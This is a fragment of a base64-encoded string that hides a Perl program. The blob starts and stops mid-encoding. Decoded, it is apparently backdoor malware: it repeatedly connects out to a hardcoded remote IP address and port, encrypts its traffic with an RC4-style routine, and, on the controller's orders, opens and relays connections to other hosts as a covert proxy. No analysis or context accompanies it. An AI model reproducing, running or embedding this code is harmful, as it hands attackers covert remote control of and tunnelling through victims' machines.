dGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZ